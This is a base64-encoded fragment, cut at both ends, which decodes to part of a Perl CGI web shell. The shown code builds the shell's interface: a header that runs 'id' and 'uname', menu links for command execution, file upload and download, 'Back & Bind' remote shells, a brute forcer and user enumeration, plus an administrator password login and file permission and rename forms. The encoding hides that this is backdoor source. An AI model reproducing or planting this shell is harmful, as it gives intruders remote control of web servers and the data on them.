G91bGQgYmUgc2V0CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50UGFnZUhlYWRlcgp7CgkkRW5jb2RlQ3VycmVudERpciA9IEVuY29kZURpcigkQ3VycmVudERpcik7CglteSAkaWQgPSBgaWRgIGlmKCEkV2luTlQpOwoJbXkgJGluZm8gPSBgdW5hbWUgLXMgLW4gLXIgLWlgOwoJcHJpbnQgIkNvbnRlbnQtdHlwZTogdGV4dC9odG1sXG5cbiI7CglwcmludCA8PEVORDsKPGh0bWw+CjxoZWFkPgo8bWV0YSBodHRwLWVxdWl2PSJjb250ZW50LXR5cGUiIGNvbnRlbnQ9InRleHQvaHRtbDsgY2hhcnNldD1VVEYtOCI+Cjx0aXRsZT4kRU5WeydTRVJWRVJfTkFNRSd9IHwgSVAgOiAkRU5WeydTRVJWRVJfQUREUid9IDwvdGl0bGU+CiRIdG1sTWV0YUhlYWRlcgo8L2hlYWQ+CjxzdHlsZT4KYm9keXsKZm9udDogMTBwdCBWZXJkYW5hOwpjb2xvcjogI2ZmZjsKfQp0cix0ZCx0YWJsZSxpbnB1dCx0ZXh0YXJlYSB7CkJPUkRFUi1SSUdIVDogICMzZTNlM2UgMXB4IHNvbGlkOwpCT1JERVItVE9QOiAgICAjM2UzZTNlIDFweCBzb2xpZDsKQk9SREVSLUxFRlQ6ICAgIzNlM2UzZSAxcHggc29saWQ7CkJPUkRFUi1CT1RUT006ICMzZTNlM2UgMXB4IHNvbGlkOwp9CiNkb21haW4gdHI6aG92ZXJ7CmJhY2tncm91bmQtY29sb3I6ICM0NDQ7Cn0KdGQgewpjb2xvcjogI2ZmZmZmZjsKfQoubGlzdGRpciB0ZHsKCXRleHQtYWxpZ246IGNlbnRlcjsKfQoubGlzdGRpciB0aHsKCWNvbG9yOiAjRkY5OTAwOwp9Ci5kaXIsLmZpbGUKewoJdGV4dC1hbGlnbjogbGVmdCAhaW1wb3J0YW50Owp9Ci5kaXJ7Cglmb250LXNpemU6IDEwcHQ7IAoJZm9udC13ZWlnaHQ6IGJvbGQ7Cn0KdGFibGUgewpCQUNLR1JPVU5ELUNPTE9SOiAjMTExOwp9CmlucHV0IHsKQkFDS0dST1VORC1DT0xPUjogQmxhY2s7CmNvbG9yOiAjZmY5OTAwOwp9CmlucHV0LnN1Ym1pdCB7CnRleHQtc2hhZG93OiAwcHQgMHB0IDAuM2VtIGN5YW4sIDBwdCAwcHQgMC4zZW0gY3lhbjsKY29sb3I6ICNGRkZGRkY7CmJvcmRlci1jb2xvcjogIzAwOTkwMDsKfQpjb2RlIHsKYm9yZGVyOiBkYXNoZWQgMHB4ICMzMzM7CmNvbG9yOiB3aGlsZTsKfQpydW4gewpib3JkZXIJCQk6IGRhc2hlZCAwcHggIzMzMzsKY29sb3I6ICNGRjAwQUE7Cn0KdGV4dGFyZWEgewpCQUNLR1JPVU5ELUNPTE9SOiAjMWIxYjFiOwpmb250OiBGaXhlZHN5cyBib2xkOwpjb2xvcjogI2FhYTsKfQpBOmxpbmsgewoJQ09MT1I6ICNmZmZmZmY7IFRFWFQtREVDT1JBVElPTjogbm9uZQp9CkE6dmlzaXRlZCB7CglDT0xPUjogI2ZmZmZmZjsgVEVYVC1ERUNPUkFUSU9OOiBub25lCn0KQTpob3ZlciB7Cgl0ZXh0LXNoYWRvdzogMHB0IDBwdCAwLjNlbSBjeWFuLCAwcHQgMHB0IDAuM2VtIGN5YW47Cgljb2xvcjogI0ZGRkZGRjsgVEVYVC1ERUNPUkFUSU9OOiBub25lCn0KQTphY3RpdmUgewoJY29sb3I6IFJlZDsgVEVYVC1ERUNPUkFUSU9OOiBub25lCn0KLmxpc3RkaXIgdHI6aG92ZXJ7CgliYWNrZ3JvdW5kOiAjNDQ0Owp9Ci5saXN0ZGlyIHRyOmhvdmVyIHRkewoJYmFja2dyb3VuZDogIzQ0NDsKCXRleHQtc2hhZG93OiAwcHQgMHB0IDAuM2VtIGN5YW4sIDBwdCAwcHQgMC4zZW0gY3lhbjsKCWNvbG9yOiAjRkZGRkZGOyBURVhULURFQ09SQVRJT046IG5vbmU7Cn0KLm5vdGxpbmV7CgliYWNrZ3JvdW5kOiAjMTExOwp9Ci5saW5lewoJYmFja2dyb3VuZDogIzIyMjsKfQo8L3N0eWxlPgo8c2NyaXB0IGxhbmd1YWdlPSJqYXZhc2NyaXB0Ij4KZnVuY3Rpb24gRW5jb2RlcihuYW1lKQp7Cgl2YXIgZSA9ICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZChuYW1lKTsKCWUudmFsdWUgPSBidG9hKGUudmFsdWUpOwoJcmV0dXJuIHRydWU7Cn0KZnVuY3Rpb24gY2htb2RfZm9ybShpLGZpbGUpCnsKCWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJGaWxlUGVybXNfIitpKS5pbm5lckhUTUw9Ijxmb3JtIG5hbWU9Rm9ybVBlcm1zXyIgKyBpKyAiIGFjdGlvbj0nJyBtZXRob2Q9J1BPU1QnPjxpbnB1dCBpZD10ZXh0XyIgKyBpICsgIiAgbmFtZT1jaG1vZCB0eXBlPXRleHQgc2l6ZT01IC8+PGlucHV0IHR5cGU9c3VibWl0IGNsYXNzPSdzdWJtaXQnIHZhbHVlPU9LPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWEgdmFsdWU9J2d1aSc+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZCB2YWx1ZT0nJEVuY29kZUN1cnJlbnREaXInPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWYgdmFsdWU9JyIrZmlsZSsiJz48L2Zvcm0+IjsKCWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJ0ZXh0XyIgKyBpKS5mb2N1cygpOwp9CmZ1bmN0aW9uIHJtX2NobW9kX2Zvcm0ocmVzcG9uc2UsaSxwZXJtcyxmaWxlKQp7CglyZXNwb25zZS5pbm5lckhUTUwgPSAiPHNwYW4gb25jbGljaz1cXFwiY2htb2RfZm9ybSgiICsgaSArICIsJyIrIGZpbGUrICInKVxcXCIgPiIrIHBlcm1zICsiPC9zcGFuPjwvdGQ+IjsKfQpmdW5jdGlvbiByZW5hbWVfZm9ybShpLGZpbGUsZikKewoJZi5yZXBsYWNlKC9cXFxcL2csIlxcXFxcXFxcIik7Cgl2YXIgYmFjaz0icm1fcmVuYW1lX2Zvcm0oIitpKyIsXFxcIiIrZmlsZSsiXFxcIixcXFwiIitmKyJcXFwiKTsgcmV0dXJuIGZhbHNlOyI7Cglkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiRmlsZV8iK2kpLmlubmVySFRNTD0iPGZvcm0gbmFtZT1Gb3JtUGVybXNfIiArIGkrICIgYWN0aW9uPScnIG1ldGhvZD0nUE9TVCc+PGlucHV0IGlkPXRleHRfIiArIGkgKyAiICBuYW1lPXJlbmFtZSB0eXBlPXRleHQgdmFsdWU9ICciK2ZpbGUrIicgLz48aW5wdXQgdHlwZT1zdWJtaXQgY2xhc3M9J3N1Ym1pdCcgdmFsdWU9T0s+PGlucHV0IHR5cGU9c3VibWl0IGNsYXNzPSdzdWJtaXQnIG9uY2xpY2s9JyIgKyBiYWNrICsgIicgdmFsdWU9Q2FuY2VsPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWEgdmFsdWU9J2d1aSc+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZCB2YWx1ZT0nJEVuY29kZUN1cnJlbnREaXInPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWYgdmFsdWU9JyIrZmlsZSsiJz48L2Zvcm0+IjsKCWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJ0ZXh0XyIgKyBpKS5mb2N1cygpOwp9CmZ1bmN0aW9uIHJtX3JlbmFtZV9mb3JtKGksZmlsZSxmKQp7CglpZihmPT0nZicpCgl7CgkJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoIkZpbGVfIitpKS5pbm5lckhUTUw9IjxhIGhyZWY9Jz9hPWNvbW1hbmQmZD0kRW5jb2RlQ3VycmVudERpciZjPWVkaXQlMjAiK2ZpbGUrIiUyMCc+IiArZmlsZSsgIjwvYT4iOwoJfWVsc2UKCXsKCQlkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiRmlsZV8iK2kpLmlubmVySFRNTD0iPGEgaHJlZj0nP2E9Z3VpJmQ9IitmKyInPlsgIiArZmlsZSsgIiBdPC9hPiI7Cgl9Cn0KPC9zY3JpcHQ+Cjxib2R5IG9uTG9hZD0iZG9jdW1lbnQuZi5AXy5mb2N1cygpIiBiZ2NvbG9yPSIjMGMwYzBjIiB0b3BtYXJnaW49IjAiIGxlZnRtYXJnaW49IjAiIG1hcmdpbndpZHRoPSIwIiBtYXJnaW5oZWlnaHQ9IjAiPgo8Y2VudGVyPjxjb2RlPgo8dGFibGUgYm9yZGVyPSIxIiB3aWR0aD0iMTAwJSIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIyIj4KPHRyPgoJPHRkIGFsaWduPSJjZW50ZXIiIHJvd3NwYW49Mz4KCQk8Yj48Zm9udCBzaXplPSIzIj4kRWRpdFBlcnNpb248L2ZvbnQ+PC9iPgoJPC90ZD4KCTx0ZD4KCQkkaW5mbwoJPC90ZD4KCTx0ZD5TZXJ2ZXIgSVA6PGZvbnQgY29sb3I9InJlZCI+ICRFTlZ7J1NFUlZFUl9BRERSJ308L2ZvbnQ+IHwgWW91ciBJUDogPGZvbnQgY29sb3I9InJlZCI+JEVOVnsnUkVNT1RFX0FERFInfTwvZm9udD4KCTwvdGQ+CjwvdHI+Cjx0cj4KPHRkIGNvbHNwYW49IjIiPgo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24iPkhvbWU8L2E+IHwgCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWNvbW1hbmQmZD0kRW5jb2RlQ3VycmVudERpciI+Q29tbWFuZDwvYT4gfAo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT1ndWkmZD0kRW5jb2RlQ3VycmVudERpciI+R1VJPC9hPiB8IAo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT11cGxvYWQmZD0kRW5jb2RlQ3VycmVudERpciI+VXBsb2FkIEZpbGU8L2E+IHwgCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWRvd25sb2FkJmQ9JEVuY29kZUN1cnJlbnREaXIiPkRvd25sb2FkIEZpbGU8L2E+IHwKPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9YmFja2JpbmQiPkJhY2sgJiBCaW5kPC9hPiB8CjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWJydXRlZm9yY2VyIj5CcnV0ZSBGb3JjZXI8L2E+IHwKPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9Y2hlY2tsb2ciPkNoZWNrIExvZzwvYT4gfAo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT1kb21haW5zdXNlciI+RG9tYWlucy9Vc2VyczwvYT4gfAo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT1sb2dvdXQiPkxvZ291dDwvYT4gfAo8YSB0YXJnZXQ9J19ibGFuaycgaHJlZj0iLi4vZXJyb3JfbG9nLnBocCI+SGVscDwvYT4KPC90ZD4KPC90cj4KPHRyPgo8dGQgY29sc3Bhbj0iMiI+CiRpZAo8L3RkPgo8L3RyPgo8L3RhYmxlPgo8Zm9udCBpZD0iUmVzcG9uc2VEYXRhIiBjb2xvcj0iI0ZGRkZGRiIgPgpFTkQKfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUHJpbnRzIHRoZSBMb2dpbiBTY3JlZW4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUHJpbnRMb2dpblNjcmVlbgp7CglwcmludCA8PEVORDsKPHByZT48c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCI+ClR5cGluZ1RleHQgPSBmdW5jdGlvbihlbGVtZW50LCBpbnRlcnZhbCwgY3Vyc29yLCBmaW5pc2hlZENhbGxiYWNrKSB7CiAgaWYoKHR5cGVvZiBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCA9PSAidW5kZWZpbmVkIikgfHwgKHR5cGVvZiBlbGVtZW50LmlubmVySFRNTCA9PSAidW5kZWZpbmVkIikpIHsKICAgIHRoaXMucnVubmluZyA9IHRydWU7CS8vIE5ldmVyIHJ1bi4KICAgIHJldHVybjsKICB9CiAgdGhpcy5lbGVtZW50ID0gZWxlbWVudDsKICB0aGlzLmZpbmlzaGVkQ2FsbGJhY2sgPSAoZmluaXNoZWRDYWxsYmFjayA/IGZpbmlzaGVkQ2FsbGJhY2sgOiBmdW5jdGlvbigpIHsgcmV0dXJuOyB9KTsKICB0aGlzLmludGVydmFsID0gKHR5cGVvZiBpbnRlcnZhbCA9PSAidW5kZWZpbmVkIiA/IDEwMCA6IGludGVydmFsKTsKICB0aGlzLm9yaWdUZXh0ID0gdGhpcy5lbGVtZW50LmlubmVySFRNTDsKICB0aGlzLnVucGFyc2VkT3JpZ1RleHQgPSB0aGlzLm9yaWdUZXh0OwogIHRoaXMuY3Vyc29yID0gKGN1cnNvciA/IGN1cnNvciA6ICIiKTsKICB0aGlzLmN1cnJlbnRUZXh0ID0gIiI7CiAgdGhpcy5jdXJyZW50Q2hhciA9IDA7CiAgdGhpcy5lbGVtZW50LnR5cGluZ1RleHQgPSB0aGlzOwogIGlmKHRoaXMuZWxlbWVudC5pZCA9PSAiIikgdGhpcy5lbGVtZW50LmlkID0gInR5cGluZ3RleHQiICsgVHlwaW5nVGV4dC5jdXJyZW50SW5kZXgrKzsKICBUeXBpbmdUZXh0LmFsbC5wdXNoKHRoaXMpOwogIHRoaXMucnVubmluZyA9IGZhbHNlOwogIHRoaXMuaW5UYWcgPSBmYWxzZTsKICB0aGlzLnRhZ0J1ZmZlciA9ICIiOwogIHRoaXMuaW5IVE1MRW50aXR5ID0gZmFsc2U7CiAgdGhpcy5IVE1MRW50aXR5QnVmZmVyID0gIiI7Cn0KVHlwaW5nVGV4dC5hbGwgPSBuZXcgQXJyYXkoKTsKVHlwaW5nVGV4dC5jdXJyZW50SW5kZXggPSAwOwpUeXBpbmdUZXh0LnJ1bkFsbCA9IGZ1bmN0aW9uKCkgewogIGZvcih2YXIgaSA9IDA7IGkgPCBUeXBpbmdUZXh0LmFsbC5sZW5ndGg7IGkrKykgVHlwaW5nVGV4dC5hbGxbaV0ucnVuKCk7Cn0KVHlwaW5nVGV4dC5wcm90b3R5cGUucnVuID0gZnVuY3Rpb24oKSB7CiAgaWYodGhpcy5ydW5uaW5nKSByZXR1cm47CiAgaWYodHlwZW9mIHRoaXMub3JpZ1RleHQgPT0gInVuZGVmaW5lZCIpIHsKICAgIHNldFRpbWVvdXQoImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCciICsgdGhpcy5lbGVtZW50LmlkICsgIicpLnR5cGluZ1RleHQucnVuKCkiLCB0aGlzLmludGVydmFsKTsJLy8gV2UgaGF2ZW4ndCBmaW5pc2hlZCBsb2FkaW5nIHlldC4gIEhhdmUgcGF0aWVuY2UuCiAgICByZXR1cm47CiAgfQogIGlmKHRoaXMuY3VycmVudFRleHQgPT0gIiIpIHRoaXMuZWxlbWVudC5pbm5lckhUTUwgPSAiIjsKLy8gIHRoaXMub3JpZ1RleHQgPSB0aGlzLm9yaWdUZXh0LnJlcGxhY2UoLzwoW148XSkqPi8sICIiKTsgICAgIC8vIFN0cmlwIEhUTUwgZnJvbSB0ZXh0LgogIGlmKHRoaXMuY3VycmVudENoYXIgPCB0aGlzLm9yaWdUZXh0Lmxlbmd0aCkgewogICAgaWYodGhpcy5vcmlnVGV4dC5jaGFyQXQodGhpcy5jdXJyZW50Q2hhcikgPT0gIjwiICYmICF0aGlzLmluVGFnKSB7CiAgICAgIHRoaXMudGFnQnVmZmVyID0gIjwiOwogICAgICB0aGlzLmluVGFnID0gdHJ1ZTsKICAgICAgdGhpcy5jdXJyZW50Q2hhcisrOwogICAgICB0aGlzLnJ1bigpOwogICAgICByZXR1cm47CiAgICB9IGVsc2UgaWYodGhpcy5vcmlnVGV4dC5jaGFyQXQodGhpcy5jdXJyZW50Q2hhcikgPT0gIj4iICYmIHRoaXMuaW5UYWcpIHsKICAgICAgdGhpcy50YWdCdWZmZXIgKz0gIj4iOwogICAgICB0aGlzLmluVGFnID0gZmFsc2U7CiAgICAgIHRoaXMuY3VycmVudFRleHQgKz0gdGhpcy50YWdCdWZmZXI7CiAgICAgIHRoaXMuY3VycmVudENoYXIrKzsKICAgICAgdGhpcy5ydW4oKTsKICAgICAgcmV0dXJuOwogICAgfSBlbHNlIGlmKHRoaXMuaW5UYWcpIHsKICAgICAgdGhpcy50YWdCdWZmZXIgKz0gdGhpcy5vcmlnVGV4dC5jaGFyQXQodGhpcy5jdXJyZW50Q2hhcik7CiAgICAgIHRoaXMuY3VycmVudENoYXIrKzsKICAgICAgdGhpcy5ydW4oKTsKICAgICAgcmV0dXJuOwogICAgfSBlbHNlIGlmKHRoaXMub3JpZ1RleHQuY2hhckF0KHRoaXMuY3VycmVudENoYXIpID09ICImIiAmJiAhdGhpcy5pbkhUTUxFbnRpdHkpIHsKICAgICAgdGhpcy5IVE1MRW50aXR5QnVmZmVyID0gIiYiOwogICAgICB0aGlzLmluSFRNTEVudGl0eSA9IHRydWU7CiAgICAgIHRoaXMuY3VycmVudENoYXIrKzsKICAgICAgdGhpcy5ydW4oKTsKICAgICAgcmV0dXJuOwogICAgfSBlbHNlIGlmKHRoaXMub3JpZ1RleHQuY2hhckF0KHRoaXMuY3VycmVudENoYXIpID09ICI7IiAmJiB0aGlzLmluSFRNTEVudGl0eSkgewogICAgICB0aGlzLkhUTUxFbnRpdHlCdWZmZXIgKz0gIjsiOwogICAgICB0aGlzLmluSFRNTEVudGl0eSA9IGZhbHNlOwogICAgICB0aGlzLmN1cnJlbnRUZXh0ICs9IHRoaXMuSFRNTEVudGl0eUJ1ZmZlcjsKICAgICAgdGhpcy5jdXJyZW50Q2hhcisrOwogICAgICB0aGlzLnJ1bigpOwogICAgICByZXR1cm47CiAgICB9IGVsc2UgaWYodGhpcy5pbkhUTUxFbnRpdHkpIHsKICAgICAgdGhpcy5IVE1MRW50aXR5QnVmZmVyICs9IHRoaXMub3JpZ1RleHQuY2hhckF0KHRoaXMuY3VycmVudENoYXIpOwogICAgICB0aGlzLmN1cnJlbnRDaGFyKys7CiAgICAgIHRoaXMucnVuKCk7CiAgICAgIHJldHVybjsKICAgIH0gZWxzZSB7CiAgICAgIHRoaXMuY3VycmVudFRleHQgKz0gdGhpcy5vcmlnVGV4dC5jaGFyQXQodGhpcy5jdXJyZW50Q2hhcik7CiAgICB9CiAgICB0aGlzLmVsZW1lbnQuaW5uZXJIVE1MID0gdGhpcy5jdXJyZW50VGV4dDsKICAgIHRoaXMuZWxlbWVudC5pbm5lckhUTUwgKz0gKHRoaXMuY3VycmVudENoYXIgPCB0aGlzLm9yaWdUZXh0Lmxlbmd0aCAtIDEgPyAodHlwZW9mIHRoaXMuY3Vyc29yID09ICJmdW5jdGlvbiIgPyB0aGlzLmN1cnNvcih0aGlzLmN1cnJlbnRUZXh0KSA6IHRoaXMuY3Vyc29yKSA6ICIiKTsKICAgIHRoaXMuY3VycmVudENoYXIrKzsKICAgIHNldFRpbWVvdXQoImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCciICsgdGhpcy5lbGVtZW50LmlkICsgIicpLnR5cGluZ1RleHQucnVuKCkiLCB0aGlzLmludGVydmFsKTsKICB9IGVsc2UgewoJdGhpcy5jdXJyZW50VGV4dCA9ICIiOwoJdGhpcy5jdXJyZW50Q2hhciA9IDA7CiAgICAgICAgdGhpcy5ydW5uaW5nID0gZmFsc2U7CiAgICAgICAgdGhpcy5maW5pc2hlZENhbGxiYWNrKCk7CiAgfQp9Cjwvc2NyaXB0Pgo8L3ByZT4KCjxicj4KCjxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij4KbmV3IFR5cGluZ1RleHQoZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoImhhY2siKSwgMzAsIGZ1bmN0aW9uKGkpeyB2YXIgYXIgPSBuZXcgQXJyYXkoIl8iLCIiKTsgcmV0dXJuICIgIiArIGFyW2kubGVuZ3RoICUgYXIubGVuZ3RoXTsgfSk7ClR5cGluZ1RleHQucnVuQWxsKCk7Cgo8L3NjcmlwdD4KRU5ECn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIGVuY29kZSBodG1sIHNwZWNpYWwgY2hhcnMKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgVXJsRW5jb2RlKCQpewoJbXkgJHN0ciA9IHNoaWZ0OwoJJHN0ciA9fiBzLyhbXkEtWmEtejAtOV0pL3NwcmludGYoIiUlJTAyWCIsIG9yZCgkMSkpL3NlZzsKCXJldHVybiAkc3RyOwp9CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBBZGQgaHRtbCBzcGVjaWFsIGNoYXJzCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIEh0bWxTcGVjaWFsQ2hhcnMoJCl7CglteSAkdGV4dCA9IHNoaWZ0OwoJJHRleHQgPX4gcy8mLyZhbXA7L2c7CgkkdGV4dCA9fiBzLyIvJnF1b3Q7L2c7CgkkdGV4dCA9fiBzLycvJiMwMzk7L2c7CgkkdGV4dCA9fiBzLzwvJmx0Oy9nOwoJJHRleHQgPX4gcy8+LyZndDsvZzsKCXJldHVybiAkdGV4dDsKfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgQWRkIGxpbmsgZm9yIGRpcmVjdG9yeQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBBZGRMaW5rRGlyKCQpCnsKCW15ICRhYz1zaGlmdDsKCW15IEBkaXI9KCk7CglpZigkV2luTlQpCgl7CgkJQGRpcj1zcGxpdCgvXFwvLCRDdXJyZW50RGlyKTsKCX1lbHNlCgl7CgkJQGRpcj1zcGxpdCgiLyIsJnRyaW0oJEN1cnJlbnREaXIpKTsKCX0KCW15ICRwYXRoPSIiOwoJbXkgJHJlc3VsdD0iIjsKCWZvcmVhY2ggKEBkaXIpCgl7CgkJJHBhdGggLj0gJF8uJFBhdGhTZXA7CgkJJHJlc3VsdC49IjxhIGhyZWY9Jz9hPSIuJGFjLiImZD0iLmVuY29kZV9iYXNlNjQoJHBhdGgpLiInPiIuJF8uJFBhdGhTZXAuIjwvYT4iOwoJfQoJcmV0dXJuICRyZXN1bHQ7Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgbWVzc2FnZSB0aGF0IGluZm9ybXMgdGhlIHVzZXIgb2YgYSBmYWlsZWQgbG9naW4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUHJpbnRMb2dpbkZhaWxlZE1lc3NhZ2UKewoJcHJpbnQgPDxFTkQ7CgoKUGFzc3dvcmQ6PGJyPgpMb2dpbiBpbmNvcnJlY3Q8YnI+PGJyPgpFTkQKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgSFRNTCBmb3JtIGZvciBsb2dnaW5nIGluCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50TG9naW5Gb3JtCnsKCXByaW50IDw8RU5EOwo8Zm9ybSBuYW1lPSJmIiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImxvZ2luIj4KTG9naW4gOiBBZG1pbmlzdHJhdG9yPGJyPgpQYXNzd29yZDo8aW5wdXQgdHlwZT0icGFzc3dvcmQiIG5hbWU9InAiPgo8aW5wdXQgY2xhc3M9InN1Ym1pdCIgdHlwZT0ic3VibWl0IiB2YWx1ZT0iRW50ZXIiPgo8L2Zvcm0+CkVORAp9CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMgdGhlIGZvb3RlciBmb3IgdGhlIEhUTUwgUGFnZQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludFBhZ2VGb290ZXIKewoJcHJpbnQgIjxicj4KCTxmb250IGNvbG9yPXJlZD49PC9mb250Pjxmb250IGNvbG9yPXJlZD4tLS0mZ3Q7KiAgPGZvbnQgY29sb3I9I2ZmOTkwMD5QYXNzID0geHh4IDwvZm9udD4gICombHQ7LS0tPTwvZm9udD48L2NvZGU+CjwvY2VudGVyPjwvYm9keT48L2h0bWw+IjsKfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUmV0cmVpdmVzIHRoZSB2YWx1ZXMgb2YgYWxsIGNvb2tpZXMuIFRoZSBjb29raWVzIGNhbiBiZSBhY2Nlc3NlcyB1c2luZyB0aGUKIyB2YXJpYWJsZSAkQ29va2llc3snJ30KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgR2V0Q29va2llcwp7CglAaHR0cGNvb2tpZXMgPSBzcGxpdCgvOyAvLCRFTlZ7J0hUVFBfQ09PS0lFJ30pOwoJZm9yZWFjaCAkY29va2llKEBodHRwY29va2llcykKCXsKCQkoJGlkLCAkdmFsKSA9IHNwbGl0KC89LywgJGNvb2tpZSk7CgkJJENvb2tpZXN7JGlkfSA9ICR2YWw7Cgl9Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgc2NyZWVuIHdoZW4gdGhlIHVzZXIgbG9ncyBvdXQKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUHJpbnRMb2dvdXRTY3JlZW4KewoJcHJpbnQgIkNvbm5lY3Rpb24gY2xvc2VkIGJ5IGZvcmVpZ24gaG9zdC48YnI+PGJyPiI7Cn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBMb2dzIG91dCB0aGUgdXNlciBhbmQgYWxsb3dzIHRoZSB1c2VyIHRvIGxvZ2luIGFnYWluCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFBlcmZvcm1Mb2dvdXQKewoJcHJpbnQgIlNldC1Db29raWU6IFNBVkVEUFdEPTtcbiI7ICMgcmVtb3ZlIHBhc3N3b3JkIGNvb2tpZQoJJlByaW50UGFnZUhlYWRlcigicCIpOwoJJlBy